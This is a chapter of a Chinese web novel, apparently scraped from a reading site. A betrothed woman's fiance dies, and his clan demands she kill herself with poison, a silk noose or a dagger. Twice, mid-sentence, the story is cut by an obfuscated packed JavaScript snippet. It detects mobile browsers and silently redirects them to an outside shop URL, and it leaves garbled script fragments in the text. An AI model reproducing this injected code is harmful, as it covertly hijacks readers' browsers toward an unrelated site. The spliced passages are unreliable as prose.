其实送不送行,本没有什么意义。如果不是昨夜心神不宁,她今日根本不会过来。可现在看着,裴流玉也不缺她一人送行,更何况那边还有三个她招惹不起的瘟神…… 她的心思,伏妪却猜不透。 “是不是那边人多眼杂,女郎担心被说闲话?” 伏妪直接下了车,“奴去将七郎君叫过来!” 语毕,也没等南流景反应,她就朝那群人跑了过去。 南流景张唇欲唤,可迟疑了一下,还是没将人叫住。 她坐在车里,只将车帘掀开了一道缝,透过缝隙远远地望着。伏妪已经跑了过去,人群忽地散开,裴流玉几个箭步冲到了伏妪跟前。 下一刻,他蓦地抬头,视线望向这边。 尽管离得太远看不清他的神情,可只是一个微微抬头的动作,南流景都已经感受到了他的惊喜若狂。 裴流玉二话不说,丢下身后那群人,飞快地朝她跑过来。 随着他的举动,又有几道视线也穿过薄雾,锐利地刺向马车。南流景敏锐地察觉到了,身子一冷,顿时掩实车帘,将那些视线隔绝在外。 “妱妱!” 裴流玉的声音自车外传来。 南流景刚要推开车窗,却被他阻止。 “等等……” 他微微喘着气,口吻却欢欣雀跃,“你今日出来可带了幂篱?你先戴上。” 南流景愣了愣,拿起一旁的幂篱戴上。整理好身前的垂纱,她才将车窗推开,对上等在马车边的裴流玉。 他十分谨慎地侧着身,余光瞥见她戴好了幂篱,才转过身来,向她解释,“如今我们已是未婚夫妻,非同以往。礼制有训,大婚前需静候良辰、不宜相见,如此婚后才能琴瑟调和、福泽绵长……” “你还信这些?” “那自然是要信的。” 裴流玉摸摸鼻子,嘀咕了一声,转而又扬起笑,“不是同你说了,不必过来。你怎么还是来了?” “……” 南流景不知该如何回答。 她与裴流玉何时相见、在哪儿相见,从来都是裴流玉做主,她很少不听话。就算偶尔有那么一两次,也都是裴流玉想要见她,而她找借口推拒。这还是头一回,裴流玉已经说了不用,她却主动来见他…… 担心和关怀的话,南流景不习惯说出口。 可即便她不说,裴流玉也不是傻的。 “舍不得我,担心我?” 他往前走了两步,与她挨得更近,目光一瞬不瞬地盯着她。 那双明亮的眼眸里满是热忱,隔着面纱都烧灼得南流景脸颊发烫。 “伏妪逼着我来的。” 她轻咳两声,睁着眼睛说瞎话,然后往后一退,伸手要关窗,“既然不方便,我现在就回去了……” 裴流玉扣住她扶在窗沿上的手,眨了眨眼,眼角眉梢都扬着欢喜,“伏妪可不是这么说的。” “……” “其实将你留在建都,我也有些不放心,恨不得带你一起走……” 裴流玉笑意收敛,握紧了她的手,“可现在还不行。妱妱,等我回来,等你我成婚后,就什么都不用怕了。我可以护你周全,绝不会叫你恨我。” 南流景点了点头,催促他回去,“那么多人还在等着,你走吧。” 裴流玉却迟迟没有松开手,又盯着她瞧了一会儿,才冷不丁说道,“还有句话,想同你说。” “什么?” 裴流玉动了动唇,南流景却一个字也没听清,只能往外倾了倾身子,那面纱微微一动,直接蹭着裴流玉的鼻尖扫过。 裴流玉眸光一动,欺身向前,一手扣着她的手腕,一手穿过幂篱将她压向自己。 薄纱往前一荡,散开些许,南流景讶异的面孔在纱帘后半遮半掩。裴流玉仰头,吻住了她的唇。 南流景微微睁大了眼。 裴流玉的吻如上次一样青涩,却多了几分莽撞和冲动,扑面而来的灼灼气息将她攫住。她只僵硬了一瞬,便放松下来,温顺地低着头,任由裴流玉亲吻。 天际的霞光越来越亮,驱散了濛濛薄雾,叫所有人眼里模糊的景象都变得清晰。离他们三十丈远的路边,孤零零地停着一辆马车。 车窗半开,戴着幂篱的女郎微微探出了身子,年轻俊朗的郎君长身立在她跟前。一个俯着头,一个仰起头,就在距离骤然拉近的那一刻,幂篱下的白纱被风掀起,将那郎君也卷了进去。 霞光下,那薄纱仿佛被映成了淡淡的粉色,将二人耳鬓厮磨的侧脸遮得严严实实。 越是看不清,就越显得暧昧…… 仆从们早就眼观鼻鼻观心,不敢往那里多看一眼。 始终盯着那个方向的,也就剩下三人。 “好了……” 南流景也没有纵容裴流玉多久,手抵在他肩上一推,整个人缩回车厢里,脸上好似烧起了烟霞。 裴流玉终于收回手,一双眉眼在霞光下灿若晨星。他的耳根也红得不同寻常,嘴上却还在取笑她,“妱妱,你真的很好骗。” 南流景没什么脾气地质问,“是谁说不能见面?” “我方才一直闭着眼,哪里见着你了。” “……你快走吧。” 南流景不欲再与他扯这些有的没的,再次催促。 裴流玉恋恋不舍地离开。 南流景没再目送他,而是等伏妪一上车,就吩咐车夫回城。她也生怕在此处多留一刻,就会被某些疯子缠上…… 待裴流玉回到人群中时,南氏的马车已经驶入城门,消失在了众人的视线里。 裴流玉一回来就直奔萧陵光,像之前被禁足时一样央求他,“我不在建都,你得多帮我照应妱妱……” 可这一次,萧陵光却沉着脸没应声,直接翻身上马。 裴流玉又唤了他一声,“陵光!” 萧陵光坐在马上,居高临下地打量着他。良久,才冷笑两声,头也不回地打马离去。 “光天化日,行此勾当。裴流玉,你还真是越来越不要脸了。” 贺兰映朝裴流玉走了过来,霞光下,那张明艳昳丽的脸孔愈发盛气凌人,说话也夹枪带棒、不阴不阳,“幕天席地的,你当是你们二人的婚房?” 裴流玉今日心情好,懒得同她计较,“你知道我快要成婚了就好。” 贺兰映的眉眼扭曲了一瞬,可不知想到什么,突然又莫名其妙地高兴起来。 她挑着眉,笑容有些古怪,“你别得意的太早。你没那么容易甩掉我,我会死死地缠着你们……保不准哪一天,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076770|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们三个还得被捆在一处,如鼓琴瑟、比翼齐飞呢。” 裴流玉的脸色青了。 顾忌着身边还有其他仆从,他压下了叱骂贺兰映的冲动,只咬着牙吐出一句,“你休要发疯。” 贺兰映转头看了一眼不远处的裴松筠,笑吟吟地,“这话与其对我说,不如去对你的好兄长说吧。裴流玉,你是不是真的觉得他什么都能忍,什么都不会同你计较?你真把他当成了那没血没肉、能被供在神龛里的泥人?” “……” 裴流玉顺着她的目光看向裴松筠,燃起的怒火瞬间就被浇熄了。 见他皱着眉、脸色不好,贺兰映才心满意足地走过来,拍了拍他的肩,“行了,一路顺风、自己保重,你也不想你的妱妱还没过门,就成了望门寡吧?” “……” 丢下这么一句,贺兰映便扬长而去。 裴流玉在原地踟蹰了一会儿,才走向裴松筠。 裴松筠静静地立在上风口,双手拢在袖中,白袍飞扬,好似无情无欲的仙人。他眼眸微垂,不知在想什么,甚至没有察觉裴流玉的靠近。 “兄长。” 裴流玉唤了一声。 裴松筠转眼看他,似乎是才回过神,“在外万事小心,到了岫山记得传信回来报平安。” 他神色如常,口吻是温和的,就像一个兄长在关怀最疼爱的弟弟,与从前并没有什么差别。 裴流玉点点头,被贺兰映掀起的那点波澜又压了下去。 兄长的确就如神龛里的塑像,没有欲望,没有情绪,也没有好恶,永远克制、沉稳、从容。这么多年,好像还没有一件事能叫他显露自己的脾气。 这样的裴松筠,叫人理所当然地认为,他不在乎一切,他也可以包容一切。 裴流玉犹豫片刻,还是将贺兰映的告诫抛之脑后,开口道,“兄长,我真的很在乎妱妱……” 裴松筠的表情变得冷淡了些。 裴流玉却打定主意要说完自己的话,态度诚恳,“我有自知之明,我知道我不如旁人身份尊贵,不如旁人权势滔天。可纵使旁人拥有再多,也只愿意分给她千分之一的微末恩泽。而我拥有再少,却愿意毫不保留地悉数奉与她,甚至会为了她争得更多……” “够了。” 裴松筠面上的平静终于有了一丝裂缝,声音也失了温度。 裴流玉有些困惑,“兄长,这对她来说不是更好吗?过不了多久,她就会成为我明媒正娶的妻子,再无人会轻慢她的出身,折断她的羽翼,将她囚于外宅,如笼中困鸟……” “我说够了!” 裴松筠蓦地打断了他,语气极冷。 裴流玉僵住。 裴松筠紧蹙着眉,眼神少见地阴沉下来,连带着周身的气息也变得冰冷,仿佛下一刻就要降下雷霆之怒。 “兄长……” 裴流玉眼里掠过一丝骇然。 察觉到自己的失态,裴松筠抬手摁住重重跳动的太阳穴,袖袍遮掩下,他的五官蒙上一层暗影,好似被噬去了半边,轮廓锋利而狰狞。 “……裴流玉,你好自为之。” 他终是失去了所有耐心,拂袖转身。 裴流玉眼睁睁地看着裴松筠上了马车,越来越心惊,心惊之余便是失措。 直到裴松筠的马车驶离视线,他还一动不动地站在原地,手脚冰凉。 21.望门寡 春去夏清,繁花渐落。 转眼间,裴流玉离开建都已有两月有余。二人的婚期也越来越近。 朝云院里来了几个绣娘,是南氏特意请来,一面为南流景缝制嫁衣,一面也教她做绣活,叫她好歹能为自己的嫁衣亲手绣上只花片叶。 南流景到底不是真正的世家闺秀,没有从小练习女红,所以这一个月也吃了些苦头,手指被扎了好几次,看得伏妪在一旁都心惊胆战。 不过也有好处,她终日被绣娘们折磨,倒是没时间再害怕一些有的没的。每日累得倒头就睡,连噩梦都没做过一个。 期间,江自流的一封书信寄回了南府。果不其然,她发现了蛊盅里是空的,在信中破口大骂。 南流景翻了两页,发现她都在骂人,干脆也不往后看了,直接将信纸一叠,收进了妆台里。 在几个绣娘的赶工下,一袭玄黑纁红相间的蹙金刺并蒂莲的嫁衣已经缝制得差不多,被一丝不苟挂在了南流景屋中的衣架上,细纱和绯罗的布料透光若雾、宽博飘逸,叫她每日睡前都忍不住端详好一会儿。 距离大功告成,仅仅剩下她亲手绣的一条腰带。 腰带上的牡丹纹收尾时,正值薄暮。绣娘们都围在南流景身边,目光牢牢锁着她的手指,屏气凝神,恨不能握着她的手替她刺上两针。 也不知是被围观的缘故,还是旁的什么,南流景今日格外的心神不定。 “嘶……” 指尖忽地一痛。 南流景回神,无比熟稔地抬手,吮去指腹上的血珠。 伏妪一眼看出她的状态不对,替她打扇,“女郎是不是有些累了?正好光线也暗了,奴去把灯点上,女郎歇一歇再绣吧?” “……心里突然有些发慌。” 南流景皱了皱眉。 她将手里的针线放下,刚想同伏妪说些什么,朝云院里却突然迎来了一位不速之客。 “小五!” 许久不见的南二娘子急匆匆冲了进来,一把拽过南流景的手腕,带着她往屋里走。 南流景下意识挣扎,“二姐姐这是做什么?” “我有正事要同你说……你先跟我进来……” “……” 见南流景仍然有些戒备,南二娘子咬咬牙,压低声音,“我知道,你还在因为上次被裴松筠劫走的事怪我……小五,正是因为二姐姐亏欠了你,今日才会来找你!” 南流景没再迟疑,带着南二娘子进了屋。 屋门一阖上,南二娘子却反而哑了火,一幅不知该如何开口的模样。 “二姐姐又无话可说了?” “小五,这件事与裴流玉有关。你听了千万不能垮……” 南二娘子一把握住南流景的手,神色复杂,眼里的担心、怜悯、愧疚,如潮水般猝不及防地奔涌而来,塞住她的口鼻,双耳…… 于是南流景看着她的唇瓣张张合合,耳边却没有丝毫声响。 南二娘子的神情越来越着急,唇畔启合得也越来越快。 渐渐的,南流景才终于断断续续地听见了几个词。 “小五……裴流玉……尸骨……” “裴氏……奔殉……” “小五……” “小五!!” 耳边蒙着的那层膜终于被南二娘子近乎尖利的叫声刺破,紧接着,那些零碎的、可怕的词终于被串了起来,一句一句,一下一下,狠狠地砸向南流景,将她的世界搅得天翻地覆。 “裴流玉在岫山为了替你采药而坠崖,山崖下发现了他的尸骨!” “你与裴流玉是圣上赐婚!如今裴流玉已去,今日之后你是守节还是死节,全凭裴氏心意!” “小五,趁着裴氏还未动作,你要尽快为自己打算!” 话音既落,屋内陷入一片死寂。 南二娘子紧握着的那双手,正以一种诡异的速度变得冰冷、僵硬,就好似数九寒天里的冰雕,连血液都被凝结,再没有一丝活人的温热触感。 然而下一刻,这双僵冷如冰雕的手却从她的掌心抽离—— “我知道了。” 南二娘子一愣,抬眼看向南流景。 面前的女郎脸色苍白,一丝神情也无,眼底平静得如同一潭死水,空洞而麻木,“二姐姐请回吧。” “小五……” “还不走的话,是想帮我出逃吗?” 南流景的眼珠缓慢地转了一下,朝南二娘子看过来,唇角扬起一抹弧度,可却不像是在笑。 “……” 南二娘子尴尬地收回手,最终一句话都没有说,转身离去。 屋门被拉开又阖上,一缕日光在南流景脸上匆匆掠过,无情地卷走了她仅剩的那点生气。 南二娘子一走出来,便被伏妪拦住,追问究竟发生了什么。可她只一味地摇头,没有透露一个字。 没有人敢帮南流景…… 更没有人能帮得了她。 为今之计,不如还是祈祷裴氏能高抬贵手,放她一马…… 南二娘子刚迈出朝云院,就有个婢女跑过来,匆匆朝她行了个礼,便与她擦身而过。 “伏妪!裴家的人来请女郎过去,说是七郎君回来了……” 听见那婢女喜出望外的声音,南二娘子身形一僵。片刻后,她深吸了口气,头也不回地快步离开。 朝云院里。 伏妪和婢女们候在门口,不明状况地兴奋道,“女郎,裴氏的人和马车已经在门口候着了!女郎,女郎?” 半晌,屋门才被拉开。 南流景低着头,扶着门框,慢慢地走了出来。 冥冥残阳下,她的脸颊没有丝毫血色,白得近乎透光。仅仅是进屋这么一会儿的功夫,她却突然呈现出一种久病的状态,孱弱得仿佛被风一吹就会倒下。 伏妪脸上的笑霎时僵住。 不对…… 尽管南流景痼疾缠身,可自从得了赐婚后,她已经很久没见她病得这副模样了…… 南流景一言不发地走下台阶,将正躺在树下打瞌睡的魍魉抱了起来。她低下头,将脸颊贴在它的身上蹭了蹭。 “女郎……” 伏妪的心陡然一沉,“奴陪你一同去……” “不必了。” 南流景郑重其事地将魍魉交到了伏妪手里。 - 马车在长街上疾行,驶向裴氏建在郊外的澹归墅。 裴氏在建都主要有两处居所,一处是皇城底下的老宅,一处是前几年才占山而建、左湖右江的庄园,澹归墅。 南流景一直猜测,上次裴松筠囚困她的那座书斋就在澹归墅里。 马车停下时,天色已经彻底暗了。 “南五娘子,这边请。” 早就等在门口的下人提着灯,领着南流景往里走。 “要带我去何处?” 南流景问道。 “家主有令,去裴氏祠堂。” 夜色如墨,阴风呼号。 裴氏祠堂矗立在暗夜中,南流景被引进正门,走进院中。 头顶是四四方方、无星无月的天,两侧是黑灯瞎火的穿廊,穿廊尽头是供着数排祖宗牌位的祠堂,空气中弥漫着一种森冷而压抑的气息。 祠堂内倒是点着灯,可残烛曳动,光线昏昧。裴氏宗族的族老们分坐两侧,面容隐匿在半明半暗的阴影中,唯独露出一双双冷酷漠然的眼睛,不约而同地南流景看过来。 南流景被那些目光钉在原地,汗毛骤立,喘不过气。 突然间,一道人影从旁边的穿廊上冲出来,猛地扑到她面前,一把扯住她,“你还我儿的命来!” 南流景被撞得踉跄了两步,反手捉住来人的衣袖,才堪堪站稳。 眼前满脸憔悴、眼眶通红的妇人——正是与她有过一面之缘的裴流玉的母亲,卫氏。 在南流景印象里,卫氏温柔可亲,待人和善,就连同下人说话时也是轻声细语。 那时是爱屋及乌,可一旦屋子塌了,梁上乌就成了晦气的凶兆之鸟,神憎鬼厌! 于是此时此刻,那张温柔的脸上满是怨恨,声音也歇斯底里—— “若不是为了求娶你,若不是为了那旨赐婚,我儿怎么会去祭礼上画图?要不是出了那风头,他又怎么会被圣上派去岫山?!” 卫氏死死扯着南流景,目眦欲裂,“他自幼寻山问水,从未出过差错!这次若非为了替你寻什么药草,怎么会铤而走险坠崖身亡?!!” 南流景的脸色已经不能更白了,看上去好似没有波澜,只喃喃了一句,“……我不信。” 她掀起眼,目光在四周漫无目的地扫了一圈,“活要见人,死要见尸……裴流玉的尸骨在何处?” 这话却戳中了卫氏的痛处。 “从那样高的山崖上摔下去,岫山中尽是猛兽……我含辛茹苦、费劲心力养大的流玉啊,就这么坠进崖底,被恶兽撕咬,最后连一具完整的尸身都没能留下……” 卫氏泪流满面,胸口剧烈地起伏着,一个字都说不下去了。 眼见卫氏痛苦地几乎快要昏厥过去,裴家二爷裴鹤及时从祠堂内走出来,将妻子揽进怀里。 失去了卫氏的支撑,南流景双腿发软,后退了好几步,扶着梁柱才勉强站稳。 她心中的最后一丝侥幸,也在卫氏的话语里彻底湮灭。 裴流玉真的死了…… 她甚至来不及悲痛,就听见了裴鹤冰冷无情的问话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080081|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “事已至此,你应当知道该如何做吧?” “……” 南流景慢慢地抬起眼。 裴鹤冷冷地望着她,脸色没比卫氏好多少,“你与流玉已有婚约,流玉出事又是因你之故。于礼于情,你都该以死殉夫,随他而去。难道还要我们规劝你么?” 以死殉夫。 寒意从脚底一窜而起,将南流景身体里的血液冻结。 见她迟迟没有回应,祠堂里的裴氏族老们也坐不住了,纷纷出声,应和裴鹤的话。 “古有林家女未婚殉夫,留下一句生为秦氏妇、死为秦氏鬼,被载入了烈女传。你若肯效仿,你的爹娘、姊妹还有整个南氏,亦会以你为荣……” “你与流玉原本就是门不当户不对。若非流玉执意求娶,南氏女的身份又怎么能踏进裴家门?造化弄人,你与流玉不能活着相伴,可是能为流玉殉死,受裴氏族人跪拜,也是你的福分,你还有何不知足?” “要不是流玉执意去寻那什么玉髓草,我们也不知道,原来你早已身负顽疾,不知什么时候便会撒手尘寰。与其等到那时,倒不如现在殉节,博个流芳后世的美名!” 一句接着一句,从祠堂内传出来,在南流景耳畔盘桓、重复、回响,如同鬼魅的诱引和诅咒,掏空她神魂的同时,也叠成一座无形的山,沉甸甸地朝她压过来,誓要将她的身体也碾个粉碎、碾进尘里…… “我……” 南流景蠕动着唇,终于发出了声音。 仅仅是一个字,却叫祠堂内霎时静下。明处的,暗处的,所有人都在看着她,等着她的答案。 南流景攥紧手,指甲死死地嵌入掌心。 “我愿终身不嫁,为流玉守节……” 她一字一句说得十分艰难,声音里隐隐带着一丝告饶和哀求,“这样难道还不够吗?” 然而回答她的,是卫氏决绝而崩溃的嘶吼声,“不够!!” 祠堂内静了一瞬,也掀起轩然大波。逼迫、指责、诘问,再次铺天盖地地涌向南流景…… 直到祠堂深处传来一声轻响,似乎是手指轻叩供桌的声响,裴氏众人才纷纷噤声,不约而同地循声看去。 顺着他们的视线,南流景终于看清祠堂最深处还立着一道身影,可那道身影完完全全陷在黑暗中,只露出了一片雪白的袍角。 “流玉视你如珍似宝,黄泉路上,你却不愿陪他走这一遭吗?” 冷漠的、了然的、带着几分嘲讽的问话,从祠堂深处遥遥传来。 而这声音属于裴氏最年轻的家主,裴松筠。 几乎是裴松筠话音刚落,穿廊里便走出三个裴氏奴仆,各自端着毒酒、白绫和匕首,呈到了南流景面前。 “你自己选。” 裴松筠不见其人,只闻其声。 “……” 南流景僵在原地,一动不动。 良久,那声音又如令签般抛了出来——“还是酒更体面些。” 下一刻,捧着白绫和匕首的奴仆应声退到了旁边,而剩下的那人斟满毒酒,朝南流景走来。 突然,一阵风从身后袭来。 南流景肩膀一重,整个人被往后带了一下。她愈发站不稳,重重地跌坐在了地上。 与此同时,酒盅也“当啷”一声落地。 而那挥落毒酒的人就站在她身前,一袭红裙,炽烈如火。 “岂能这么便宜了她!” 随着一声怒叱,那红裙下的绣鞋转了过来,一脚踩上她的裙摆,然后往上一踢,抵在她的下巴上,抬起。 南流景不得不仰起头,正对上了贺兰映那张似仙非仙、似妖非妖的漂亮脸孔。 “流玉被她害得死无全尸,她怎能一杯毒酒就想了事?!” 那双淡金色的眼眸一瞬不瞬地盯着她,闪烁着诡异的亮光,好似蓄势待发的蛇瞳。 “你们裴氏不好动手,那便交给本宫。本宫将她带回去,剥皮抽筋也好,千刀万剐也好,总之对外就称她自缢在裴家,为裴流玉殉了情……” 说着,贺兰映脚尖一转,丢开了南流景的脸,“如此一来,你们裴氏得了好名声,本宫也出了一口恶气,如何?” “……” 南流景低垂着头,闭了闭眼。 祠堂内,裴松筠终于从暗处走了出来,却远远地停在廊下。仍旧是一身白衣宽袍、大袖翩翩,可脸上的表情却模糊不清。 “不论如何,她已是裴氏的人。要杀要剐,都由裴氏做主,不劳公主费心。” “裴松筠!” 就在二人陷入莫名的僵持时,同贺兰映一起闯进来的萧陵光忽地上前,随手抄起那托盘中的匕首,径直走向南流景。 “我替她选。”